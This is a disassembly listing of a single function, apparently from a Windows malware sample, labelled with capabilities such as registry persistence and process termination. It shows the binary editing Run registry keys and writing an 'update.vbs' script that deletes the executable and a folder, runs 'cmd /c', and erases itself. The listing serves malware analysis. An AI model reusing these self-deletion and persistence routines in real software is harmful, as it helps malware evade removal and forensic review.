Function at 0x40b465
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
push ebx
push esi
push edi
call fcn.0040fb4b
cmp byte [0x46a9d4], 0x30
je 0x40b484
call fcn.00409d75
xor ebx, ebx
inc ebx
cmp byte [0x46bd6b], bl
jne 0x40b494
call fcn.00414d1d
cmp byte [0x46ba75], 0
je 0x40b4ae
mov ecx, 0x46c0e0
call fcn.00401ecb
mov ecx, eax
call fcn.004170ac
mov esi, 0x46c4e8
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x46bb06], bl
jne 0x40b4d5
mov ecx, esi
call fcn.00401ecb
push eax
mov edx, edi
mov ecx, closesocket
call fcn.0041074c
pop ecx
cmp byte [0x46baff], bl
jne 0x40b4f2
mov ecx, esi
call fcn.00401ecb
push eax
mov edx, edi
mov ecx, closesocket
call fcn.0041074c
pop ecx
cmp byte [0x46bb04], bl
jne 0x40b512
mov ecx, esi
call fcn.00401ecb
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, closesocket
call fcn.0041074c
pop ecx
mov esi, 0x46c560
mov ecx, esi
call fcn.00402469
push eax
mov ecx, esi
call fcn.00401f75
push eax
mov esi, 0x208
lea eax, [ebp - 0x2b0]
push esi
push eax
mov ebx, 0x46c518
push str.exepath
mov ecx, ebx
call fcn.00401f75
mov edx, eax
call fcn.00410420
add esp, 0x14
xor edi, edi
test al, al
jne 0x40b564
push esi
lea eax, [ebp - 0x2b0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00401f75
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x2b0]
push 0x80
push eax
call esi
mov ebx, eax
mov edx, 0x45f714
neg ebx
mov ecx, 0x46c530
sbb bl, bl
and bl, 1
call fcn.004074e6
test al, al
je 0x40b5b9
push 0x80
mov ecx, 0x46c530
call fcn.00401ecb
push eax
call esi
push str.update.vbs
push 0x460018
call fcn.0043918f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040425f
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403086
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ed0
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x30]
call fcn.0040425f
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x18]
call fcn.004043e5
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ed0
test bl, bl
je 0x40b65c
push 0x4601e0
lea eax, [ebp - 0x2b0]
push eax
lea ecx, [ebp - 0x60]
call fcn.0040425f
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [ebp - 0x48]
call fcn.004043e5
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00403086
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004032f1
lea ecx, [ebp - 0x30]
call fcn.00401ed0
lea ecx, [ebp - 0x48]
call fcn.00401ed0
lea ecx, [ebp - 0x60]
call fcn.00401ed0
push 0x460218
lea eax, [ebp - 0x2b0]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x30]
call fcn.0040425f
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403086
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00403086
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004032f1
lea ecx, [ebp - 0x60]
call fcn.00401ed0
lea ecx, [ebp - 0x48]
call fcn.00401ed0
lea ecx, [ebp - 0x30]
call fcn.00401ed0
test bl, bl
je 0x40b6bd
push str.wend_n
lea ecx, [ebp - 0x18]
call fcn.0040766e
mov ebx, 0x45f714
mov esi, 0x46c530
mov edx, ebx
mov ecx, esi
call fcn.004074e6
test al, al
je 0x40b70c
push 0x460218
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x48]
call fcn.00409e6b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00403086
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004032f1
lea ecx, [ebp - 0x60]
call fcn.00401ed0
lea ecx, [ebp - 0x48]
call fcn.00401ed0
push 0x4600bc
push str._____0
lea ecx, [ebp - 0xa8]
call fcn.0040425f
push eax
lea eax, [ebp + 8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0x90]
call fcn.0040425f
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00404409
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403010
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00403086
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004032f1
lea ecx, [ebp - 0x60]
call fcn.00401ed0
lea ecx, [ebp - 0x48]
call fcn.00401ed0
lea ecx, [ebp - 0x30]
call fcn.00401ed0
lea ecx, [ebp - 0x90]
call fcn.00401ed0
lea ecx, [ebp - 0xa8]
call fcn.00401ed0
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.0040766e
push edi
lea ecx, [ebp - 0x78]
call fcn.00401ecb
push eax
lea ecx, [ebp - 0x18]
call fcn.00402469
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401ecb
mov edx, esi
mov ecx, eax
call fcn.0041729f
pop ecx
pop ecx
test al, al
je 0x40b7ec
push edi
push ebx
push ebx
lea ecx, [ebp - 0x78]
call fcn.00401ecb
push eax
push 0x45f6d4
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40b7ec
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401ed0
lea ecx, [ebp - 0x78]
call fcn.00401ed0
lea ecx, [ebp + 8]
call fcn.00401ed0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret